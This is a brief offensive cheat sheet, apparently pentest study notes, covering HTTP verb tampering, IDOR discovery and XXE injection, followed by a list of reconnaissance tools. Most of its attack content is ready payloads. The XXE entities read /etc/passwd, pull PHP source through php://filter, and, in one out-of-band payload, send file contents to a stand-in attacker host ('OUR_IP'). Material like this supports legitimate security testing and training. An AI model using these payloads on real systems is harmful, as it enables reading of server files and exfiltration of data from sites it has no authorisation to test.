Web Attacks To The Point

I. HTTP Verb Tampering

HTTP Methods:

• HEAD

• PUT

• DELETE

• OPTIONS

• PATCH

Curl Command for HTTP Methods:

curl -X OPTIONS <url>

II. IDOR (Insecure Direct Object References)

Identification Techniques:

• Inspect URL parameters and APIs.

• Analyze AJAX calls.

• Check for reference hashing/encoding.

• Compare user roles for access control discrepancies.

Common Commands:

echo -n 'string' | md5sum
echo -n 'string' | base64

III. XXE (XML External Entity Injection)

Common XXE Payloads:

<!ENTITY xxe SYSTEM "http://localhost/email.dtd">
<!ENTITY xxe SYSTEM "file:///etc/passwd">
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
<!ENTITY % error "<!ENTITY content SYSTEM '%nonExistingEntity;/%file;'>">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">

IV. Additional Tools

• Burp Suite for testing HTTP methods and identifying IDORs.

• Amass for passive DNS enumeration.

• Shodan for discovering exposed services.

• TheHarvester for gathering information from public sources.

• Censys for advanced reconnaissance.